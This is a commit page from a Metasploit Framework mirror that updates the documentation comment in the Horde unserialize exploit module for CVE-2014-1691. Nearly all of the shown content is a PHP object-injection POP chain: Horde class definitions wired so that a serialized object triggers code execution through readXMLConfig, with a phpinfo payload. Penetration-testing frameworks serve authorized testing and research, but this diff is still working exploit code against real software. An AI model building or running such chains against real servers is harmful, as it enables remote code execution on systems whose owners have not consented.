infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update POP chain documentation

bug/bundler_fix
jvazquez-r7 2014-03-18 16:29:30 -05:00
parent 77c128fbc5
commit 379c0efd5a
1 changed files with 30 additions and 35 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

65
modules/exploits/unix/webapp/horde_unserialize_exec.rb
View File

@ -94,56 +94,51 @@ class Metasploit3 < Msf::Exploit::Remote
end
=begin
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
$phpcode = '"&&eval("phpinfo();die;")=="';
 
class Horde_Date_Parser_Token
class Horde_Config
{
   public $tags = array('A');
protected $_oldConfig = "phpinfo();die;";
}
 
class Horde_Prefs_Scope
{
   protected $_prefs;
 
   function __construct()
   {
      $this->_prefs = array($GLOBALS['phpcode'] => 1);
   }
protected $_prefs = array(1);
}
 
class Horde_Prefs
{
   protected $_opts, $_scopes;
 
   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
protected $_opts, $_scopes;
function __construct()
{
$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;
}
}
 
class Horde_Prefs_Identity
{
   protected $_prefs, $_prefnames;
 
   function __construct()
   {
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = $GLOBALS['phpcode'];
   }
protected $_prefs, $_prefnames;
function __construct()
{
$this->_prefs = new Horde_Prefs;
$this->_prefnames['identities'] = 0;
}
}
 
class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added = array(1);
 
   function __construct()
   {
      $this->_server = new Horde_Prefs_Identity;
   }
private $_server, $_added = array(1);
function __construct()
{
$this->_server = new Horde_Prefs_Identity;
}
}
  
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
=end